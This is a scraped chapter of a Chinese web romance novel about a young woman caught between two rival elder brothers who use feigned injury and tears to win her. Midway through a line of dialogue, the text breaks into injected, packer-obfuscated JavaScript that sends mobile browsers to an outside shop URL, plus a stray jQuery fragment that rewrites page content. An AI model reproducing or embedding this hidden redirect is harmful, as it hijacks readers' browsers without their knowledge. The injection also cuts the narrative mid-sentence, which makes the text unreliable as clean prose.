文趣网 > 都市小说 > 溺春眸 > 11. 近以心照
    可不知何时,清辉已然远去。

    往后玄序时,温照蒲还是候着自己,却又不同往昔。

    二哥似是变了一个人。

    他许是年岁渐长,见识了天地,便不甚在意鱼藻。

    大雪中,屋檐下,他瞧着疏离。

    但,他还是伫立在一处,离府门不算近,离鱼藻不算远的一处。

    他还是候着鱼藻,还是将手炉递与鱼藻手中。

    双手暖如临篝火,眸光却冷若冰霜。

    念及此,思绪回笼。

    鱼藻望着眼前人,其眸光灼灼。

    掺杂着什么,她道不明。

    泪光如同湖光,而她沉溺于此。

    但哥哥的眸光,扯着她上岸。

    沉溺是因他,得救亦是因他。

    鱼藻瞧不清他的心。

    不见其心,却见我心。

    鱼藻的一片心,早在险些成冻死骨的那日,锈了。

    经多年的照拂,于将军府,那片心才终是被一层层拨开。

    却见心间是空缺。

    其心中通,好似莲花。

    莲花需水,亦会因积水而茎腐。

    鱼藻不需水,离了水却又不得活。

    水,泪水。

    鱼藻垂下眸,泪水已然被拭去。

    眼前之景,亦愈发清晰。

    “岁岁……你是往后皆不理睬哥哥了?你要舍弃我?”

    “小姐……”

    耳畔是温照蒲的乞求之语,话音落,恰响起女使通传声。

    “何事?”

    “小姐,大公子……受了伤,如今昏迷不醒,还请小姐前去。”

    闻言,鱼藻一时怔然。

    大哥亦受伤了?

    如今眼前是温照蒲,闭眼是温钟晓。

    再睁眸,鱼藻挪步,决意前往。

    腕处却被捉住。

    “岁岁你别去……大哥若是受伤了,寻郎中便好,不需……”

    “二哥,还是安心养伤罢。”

    说罢,鱼藻不顾身后之人苦苦挽留,毅然决然排开屋门。

    谁知捉腕的手往下,扯住了衣袖。

    “岁岁……哥哥求你……”

    鱼藻阖上眸,心间思量着。

    阖上眸,大哥虚弱的模样尽显。

    念及此,她掰开温照蒲的双手。

    “二哥,我还是会来看你的,你……安心养伤罢。”

    她瞧不清身后之人的哀戚,闻不见身后之人的喃喃自语。

    “你还是离开我……”

    “是不是只有将你锁住,你才不会走……”

    鱼藻闻不见这些喃喃,她正快步朝厢房而去。

    至屋外,恰逢郎中排门而出。

    她瞧见的是为血浸透的纱。

    眼前的郎中同长随交代了什么,便喟叹着离去。

    鱼藻心间不得舒缓的弦,忽而弹奏着。

    声音凄厉,婉转。

    大哥竟伤得如此重……

    自己方才却只闻见二哥身上血腥味……

    思及此,心上破了口,寒风呼啸着,涌入缺口。

    “是……岁岁来了?”

    风不息,将屋中之人的低语吹来。

    一并落于她的心间。

    “回公子,正是。”

    说罢,长随得了令,便徐徐退下。

    便剩他们二人。

    鱼藻深深息,排开了虚掩的屋门。

    “岁岁。”

    踏入屋中,她的眸光循声,落在帷幔中。

    纱幔低垂,窗牖未阖,将温钟晓的身影勾得影影绰绰。

    他未正衣冠,青丝落下几缕,外袍里襟散开,露出其肌。

    这不似寻常的大哥。

    如今他瞧着虚弱,只得朝自己招手。

    他瞧着不仅伤了,还病了。

    眼眸垂下,活似……一只阿紫。

    “岁岁,过来。”

    阿紫……显灵性了。

    阿紫摇着其尾,勾得鱼儿游来。

    其身散出的气味清幽,其声勾魂,随着摇尾,一下,一下,勾着鱼儿上钩。

    待鱼藻真真挪动了步子,她才发觉,自己行径多荒唐。

    这可是……

    她忙得转身,佯装无事般,问询着大哥的情状。

    “大哥原以为……二弟的伤更重,岁岁会照料他。”

    仅此一句话,将鱼藻心间愧疚荡起。

    她捻着衣裳,拾起药箸,蘸膏。

    “大哥,我……给你敷药。”

    鱼藻走近榻旁,面容愈来愈显绯红。

    她瞧着大哥宽衣,将其上身全然袒露。

    伤口处在,胸膛。

    心间缺口灌入风,惹得一阵疼。

    她转首,瞧见窗牖未阖,便上前。

    双手将将触及内扇,便闻身后之人言语。

    “窗闩便不必动了,近来落了雨,屋中溽热,且通通风。”

    “好。”

    鱼藻复而近榻,入目便是温钟晓身躯上的伤痕。

    狰狞,交错。

    她忽而瞧不清了,泪水模糊着眼眸,令她瞧不真切。

    鱼藻转身,佯装再度取膏。

    帕子拭着泪,心间想着许多瞬间。

    有大哥训斥着自己……是严厉的。

    有大哥为自己置办好一切……是周全的。

    她的心揪作一团,无尽藤蔓缠绕着,迫使她择出其一。

    择出,究竟何才是自己心中所想。

    许是耽搁太久,耳畔传来窸窸窣窣声。

    鱼藻见状,忙得转身。

    指尖攀上,她以药箸擦拭着伤处。

    怪哉,鱼藻并未使出多少气力,却见大哥阖着眸,蹙着眉。

    往日大哥负伤可言是常事,如今怎会……

    莫不是,往常便是痛吗。

    念及此,鱼藻朝着伤处,轻呼出气。

    如此,疼痛兴许可少几分。

    料想的缓解却未至,恰恰相反,她瞧见温钟晓紧蹙着眉。

    “大哥,是……太痛了吗?”

    言语间,气息喷洒着。

    温钟晓未有言语,只是握住其素手。

    仅仅是握着,握着温热。

    屋外似是传来脚步声。

    “咚咚。”

    便无了声响。

    鱼藻未见坦诚的阿紫,却见气急的狸奴。

    狸奴顽劣,欲窥见窗内之景。

    终了,狸奴窥见了,只见鱼儿正游入阿紫的掌心。

    狸奴按耐不住了。

    “你们……你们这是做什么?”

    鱼藻闻见熟声,转首一瞧。

    便瞧见双眸含泪的温照蒲。

    他瞧着虚弱,面色却不显惨白,只是于屋门前站着。

    模样瞧着,泫然欲泣。

    泪水淹没眼眸,已使得双眸泛红。

    狸奴倔着,直至容纳不下泪,泪才滚落。

    一颗,一颗。

    砸于地,砸于鱼藻的双眸。

    难以言喻的情愫再度侵蚀着她,她手中还持着药箸,神思却已然飘远。

    直至温照蒲一句接着一句的问询传来,适才思绪回笼。

    “明明大哥与我皆受伤了……你却不一视同仁,倒是亲手为他涂药。”

    “那我呢?”

    “我知晓,我自幼便及不上大哥……岁岁今日之意,我明了了。”

    他每言一句,便落一滴泪。

    泪珠滚落于面颊,竟哭成了泪人。

    温照蒲看着,受了极大的委屈。

    他未有上前,未有将二人隔开,只胡乱抹了把泪。

    继而将药瓶置于圆桌,自己则是回身一转,排门离开了。

    “二哥!你……”

    瞧见瓷瓶,鱼藻方了悟他的来意。

    她即刻起身,便要快步离去。

    行了几步,她念起什么。

    “大哥,药已敷好,你且歇息,妹妹改日再来看望。”

    说罢,她才匆匆离去。

    待鱼藻离去后,榻上的温钟晓拢了拢衣襟,下了榻。

    瞧着步履稳健,并非虚弱之人。

    只见他掂起瓷瓶,发现其中真的有药。

    看着其中物,温钟晓莞尔。

    “二弟,还真有一番本领。”

    “岁岁,还是太过心软了。”

    “瞧见眼泪,心便动摇,可不是好事。”

    他瞥着麻布,只觉碍眼。

    苦肉计,竟比不得几滴泪。

    泪……

    何人未有呢。

    “好二弟,兄长倒要瞧瞧,你能用此法行多久。”

    毕竟泪水多了,便不再珍贵。

    岁岁迟早会厌弃他。

    念及此,温钟晓心间畅快许多。

    他走至屋门处,正要唤长随前来。

    排门时,他瞧见的却不是长随。

    亦不是今晚的月色。

    而是伫立于屋前的鱼藻。

    她面色惨白如纸,瞧见温钟晓时,尽显不可置信。

    “岁岁,我……”

    瞧见此情状,温钟晓便要解释,可他搜肠刮肚,皆未寻得一句来辩驳。

    他如今想着一事。

    岁岁方才全瞧见了?全闻见了?

    他伸出手,欲扯住眼前欲游走的鱼儿。

    却被一人隔开。

    是温照蒲。

    他面容残存泪痕,可哪还有方才伤怀的模样?

    他如今,得意洋洋地说道。

    “岁岁,你瞧,大哥无须你担忧。”

    “不过大哥伤势未愈,我们……还是不扰他歇息了。”

    温钟晓所见,是他们二人并肩而行,愈走愈远。

    “岁岁!我……不是如此……”

    温钟晓方踏出几步,便被拦住。

    “大公子,吩咐属下要查的事,有眉目了。”

    话语声渐渐归于无,院落复而寂静。

    月光倾泻,照进厢房,也照在鱼藻的身上。

    她垂着眸,瞧着心事重重。

    方才她疾步出屋,寻着二哥,只见二哥于不远处拭泪,并未走远。

    她快步上前,解释之语却还宣之于口。

    只见温照蒲身形一动,将她引至轩窗旁。

    鱼藻虽是不解,但还是跟随上前。

    继而,一道循光望着屋中。

    她瞧见,大哥全然无了方才的虚弱。

    持起药瓶,喃喃自语着。

    “看来,大哥还是不信我。”

    “或许,不论我做什么,于大哥眼中,皆是图谋不轨。”

    鱼藻闻见这一番话,心间缺口的风渐渐息了。

    倒是方才他的字字句句,皆坠入其中。

    话语砸着。

    竟感心痛。

    相较宽慰的话语,先来的是大哥的脚步声。

    尔后,便是大哥排门而出,与他们二人迎面相遇。

    思绪回笼,鱼藻终是抬眸。

    她望着温照蒲,欲言又止。

    许是察觉她的眸光,温照蒲转过首。

    他莞尔。

    仅是浅笑,却如见泠泠月色。

    月色,竟不止天上才有。

    眼前,也有啊。

    下一瞬,月色,洒落着清辉。

    洒至鱼藻耳畔。

    “岁岁莫不是在思忖,大哥缘何如此?”

    闻言,鱼藻唇瓣翕张着。

    眼见月,身临月,便无法扯谎了。

    “我在思忖,二哥的心里是不是发苦。”

    “二哥方才泪水涟涟,如今却不见泪水,定然是吞咽回去,泪的滋味,是鹾咸的,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718224|208206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    多了便苦了。”

    月白风清,她便将这些话语如实道来。

    心间一些物,亦渐渐消弭。

    或是隔阂,或是偏见。

    话落,却见月色染上泪光。

    二者相融,同样耀眼,同样灼目。

    并无什么不同。

    她见温照蒲再度莞尔,继而闻声。

    “走,二哥携你去一好去处,那处可见好风光呢。”

    “二哥……屋顶算什么好去处?”

    晚风习习,萦绕于鱼藻的衣袂,吹得她身躯瑟缩。

    “待会,妹妹便知晓了。”

    鱼藻虽是不解,但静候着。

    冷意不为驱赶,她搓着双手,以此获得温热。

    周遭是冷风簌簌声,树叶窸窣声,还有……瓦片松动声。

    她余光瞥见,二哥正挪动着身子。

    直至二人紧紧相依,温照蒲才未有动作。

    “如此,便不冷了。”

    “那……究竟是瞧什么好风光?”

    鱼藻左顾右盼,未见什么稀奇之景。

    “好风光自是要寻觅上一番功夫,二哥的好风光。”

    温照蒲望着身侧之人,二人近在咫尺,

    可她什么都不懂。

    自己仅能启齿。

    “已然寻到了。”

    “寻到了?”

    瞧见鱼藻竭力寻觅的模样,他扬起唇角。

    可爱。

    可爱得紧。

    他将一臂徐徐绕至鱼藻身后,手掌按于瓦片上。

    继而瞧着眼前人,瞧着眉眼,瞧着朱唇。

    渐渐地,他的眸光迷离。

    妹妹,活似一只玉兔。

    如玉兔般灵黠。

    又是温照蒲的祥瑞。

    眸光落至眉眼,妹妹的眉似远山,双瞳剪水。

    其中看见的,容纳着的,有多少人呢。

    会有自己吗?

    还有何人呢?

    他想……

    这双眼眸里,只呈现自己的倒影。

    旁的人,自是不可近看,亦不可远观。

    眼波流转间,如漩洄,将温照蒲卷入其中。

    他想,若是真能如此。

    他定要霸占。

    眸光下移,落至朱唇。

    温照蒲的眸光晦暗了。

    他念起上回的滋味。

    一尝,便想着下回。

    有着下回,便想要永远。

    朱唇,触手可及。

    鱼藻偏过首,便能遂了他的愿。

    可……上回事出有因,此回……他未有缘由了。

    记忆回溯,回溯至温钟晓厉声质问他时。

    “中药?温照蒲,你信吗?此番说辞,你亦只能骗骗岁岁了,若非药劲,怎会遂了你卑劣的心?”

    “温钟晓,你别忘却一事,你我流着同样的血,你岂不卑劣?”

    思及此,他回过神。

    是了,他便是卑劣之人。

    他卑劣地使计谋,乞求着鱼藻别离开自己。

    他卑劣地贿赂采买的嬷嬷,盼着鱼藻喜爱那些衣裳珠宝。

    直至他发觉,一切“计谋”,于鱼藻面前,皆是无计可施。

    温照蒲便难掩卑劣之性。

    他想,若是卑劣,能使得鱼藻可怜自己。

    那卑劣,于他便没有坏处。

    思及此,温照蒲试探着启齿。

    “岁岁,你……厌恶二哥吗?”

    鱼藻寻觅良久所谓的风光,却还是不见。

    正心灰意冷时,闻见了此问询。

    厌恶吗?

    她唇瓣翕张,言语隔绝于咽喉,不得出。

    她原以为,温照蒲还是问询着那日之事。

    因此,片刻后,她启齿。

    “那日是事出有因,二哥是遭人暗算,才会如此,我怎会因此厌恶二哥呢?”

    “那……如若当日我遇见了旁人,尔后……你心里未有半分异样吗?”

    不知为何,眼前的二哥似是急切,急切地问询出个所以然。

    鱼藻不明其深意,只思忖着此情状。

    “若是二哥与旁人生出此事,那我……”

    言语间,鱼藻的心间竟真涌出些滋味。

    可……朝夕相处的二哥遭人算计,她的心间定是会有波澜的。

    人非草木,岂是无情之人?

    她捻着心中滋味,继而言语着。

    “那我便来救你。”

    “仅是如此?”

    “我会将此人赶跑,再寻郎中来为二哥诊治。”

    温照蒲瞧着眼前人的模样,瞧着她亮晶晶的双眸,忽而再问询不出一句了。

    他还能问询什么呢?

    若那日,不仅仅是因中药呢?

    可他念起鱼藻近来的逃避,便知此事于鱼藻影响过大。

    他不能再吓鱼藻了。

    他就这一个岁岁。

    事已至此,温照蒲只能使出一计。

    便是来日方长。

    来日方长,鱼藻总会不再将自己当哥哥。

    来日方长,鱼藻对自己定然亦有感情。

    来日方长。

    思及此,温照蒲抬手,轻揉其青丝。

    “岁岁真厉害,如此,亦能救我了。”

    “月黑风高,我们还是快些回府罢。”

    鱼藻闻言,念起今夜所寻为何,顿时焦灼起来。

    “那……风光不寻了吗?”

    “岁岁终有一日会寻觅到的,不急于这一时。”

    话落,鱼藻悻悻起身。

    下一瞬,温热的手掌便覆上了腰间。

    二人再度相隔近在咫尺。

    鱼藻闻见锣鼓声。

    扑通,扑通。

    却道不清是何人的。

    “抱紧我,我们回家。”